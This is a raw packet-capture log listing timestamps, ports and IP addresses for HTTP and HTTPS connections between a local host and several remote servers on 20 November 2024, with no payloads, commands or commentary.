Nov 20, 2024 00:19:24.780571938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780592918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780592918 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.780603886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780627966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780644894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780663967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780664921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780698061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780725002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780733109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780740023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780766964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780776024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780800104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780838013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780842066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780859947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780870914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780884981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780906916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.780916929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.780953884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.781373024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781402111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781421900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.781436920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781450987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.781488895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781526089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.781543970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.781544924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781558037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781599045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.781606913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781641960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781653881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.781692028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781724930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.781724930 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.781739950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781774044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781802893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.781809092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781837940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781856060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.781874895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.781883955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781919956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.781968117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.788634062 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.788681030 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.788721085 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.788724899 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.788813114 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.789470911 CET	62071	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.789485931 CET	443	62071	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.806442976 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.806482077 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.806497097 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.806513071 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.806518078 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.806546926 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.806550026 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.806575060 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.807246923 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.807265043 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.807281971 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.807327986 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.807338953 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.807364941 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.807395935 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.807442904 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.807447910 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.807545900 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.807617903 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.807910919 CET	62072	443	192.168.2.5	104.117.182.9
Nov 20, 2024 00:19:24.807923079 CET	443	62072	104.117.182.9	192.168.2.5
Nov 20, 2024 00:19:24.808634043 CET	443	62075	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.809860945 CET	443	62074	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.810626984 CET	62075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.810646057 CET	443	62075	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.811381102 CET	62075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.811384916 CET	443	62075	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.811598063 CET	62074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.811630964 CET	443	62074	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.812673092 CET	62074	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.812679052 CET	443	62074	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.825654984 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.825721025 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.825790882 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.825812101 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.825820923 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.825937986 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.826199055 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.826245070 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.826275110 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.826280117 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.826292038 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.826339006 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.826741934 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.826786041 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.826828957 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.826834917 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.826926947 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.826926947 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.827270985 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.827333927 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.827334881 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.827363014 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.827409983 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.827409983 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.827955961 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.827996016 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.828073025 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.828073025 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.828082085 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.828154087 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.828160048 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.828218937 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.829957962 CET	62066	443	192.168.2.5	13.107.246.40
Nov 20, 2024 00:19:24.829977036 CET	443	62066	13.107.246.40	192.168.2.5
Nov 20, 2024 00:19:24.870325089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870364904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870382071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870413065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.870419025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870434046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870440006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.870486975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.870506048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870521069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870537996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870553970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870562077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.870570898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870579004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.870609999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870610952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.870625019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870640993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870661020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.870688915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.870812893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870827913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870842934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.870863914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.870889902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871001959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871017933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871035099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871037006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871052027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871056080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871069908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871078968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871087074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871093988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871110916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871113062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871129036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871129036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871157885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871175051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871182919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871198893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871222973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871232986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871237993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871254921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871262074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871268988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871289968 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871292114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871306896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871320963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871330023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871342897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871344090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871367931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871368885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871382952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871392965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871406078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871412992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871423006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871427059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871440887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871440887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871457100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871459007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871474981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871481895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871491909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871495962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871511936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871529102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871593952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871608973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871625900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871629000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871642113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871643066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871659040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871659994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871674061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871675014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871690035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871690989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871706009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.871706963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871721983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871738911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.871988058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872013092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872036934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872049093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872051001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872067928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872076988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872081995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872107029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872107029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872121096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872128010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872137070 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872149944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872159958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872174025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872189045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872189045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872210026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872212887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872227907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872232914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872248888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872251034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872267008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872268915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872283936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872283936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872298956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872299910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872313976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872317076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872328997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872334003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872344971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872349024 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872360945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872368097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872380018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872384071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872395039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872404099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872410059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872432947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872433901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872447968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872452021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872463942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872476101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872478008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872492075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872492075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872510910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872515917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872531891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872535944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872545004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872559071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872562885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872575998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872586966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872590065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872606039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872613907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872642040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872664928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872678995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872697115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872720957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872773886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872788906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872807980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872840881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872857094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872873068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872895002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872908115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872910023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872924089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872931004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872941017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.872961998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.872983932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.873055935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.873071909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.873089075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.873102903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.873107910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.873117924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.873132944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.873147964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.873162985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.875092030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875106096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875138998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.875152111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.875293970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875308990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875332117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875346899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875348091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.875363111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875375986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.875379086 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875391960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.875416994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.875426054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875439882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875454903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875471115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875475883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.875495911 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875502110 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.875511885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875547886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.875570059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:24.875606060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:24.880372047 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:24.881793022 CET	62076	443	192.168.2.5	65.52.241.40
Nov 20, 2024 00:19:24.881819963 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:24.882680893 CET	443	62076	65.52.241.40	192.168.2.5
Nov 20, 2024 00:19:24.886861086 CET	443	62073	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.886920929 CET	443	62073	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.890116930 CET	62073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:24.915227890 CET	443	62075	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.915296078 CET	443	62075	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:24.918121099 CET	62075	443	192.168.2.5	13.107.246.45
